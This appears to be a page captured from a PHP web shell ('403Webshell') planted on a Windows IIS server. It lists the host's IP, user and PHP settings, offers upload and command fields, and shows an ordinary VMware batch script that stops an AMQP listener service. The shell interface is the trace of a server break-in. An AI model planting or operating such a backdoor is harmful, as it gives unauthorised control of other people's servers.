403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.141
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /ProgramData/VMware/VMware CAF/pme/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /ProgramData/VMware/VMware CAF/pme/scripts/stop-listener.bat
@echo off

if "%~1" == "help" (
   call :helpMessage %~1
)

set processName=CommAmqpListener
set serviceName=VMwareCAFCommAmqpListener

for /f "tokens=2 delims=," %%x in ('tasklist /nh /fi "imageName eq %processName%" /fo csv') do set pid=%%x
if "%pid%" == "" (
   echo Process not running - %processName%
   exit /B 1
)

set stopType=%~1
if "%stopType%" == "" (
   echo net stop %serviceName%
   net stop %serviceName%
) else if "%stopType%" == "service" (
   echo net stop %serviceName%
   net stop %serviceName%
) else if "%stopType%" == "process" (
   echo Killing process - %processName%, pid: %pid%
   taskkill /pid %pid% /f
)

goto:eof

:helpMessage
echo *** %0 %1
echo   Stops AMQP Communication
echo     stopType: How to stop AMQP Communication (service, process) [default: service]
exit /B 0

Youez - 2016 - github.com/yon3zu
LinuXploit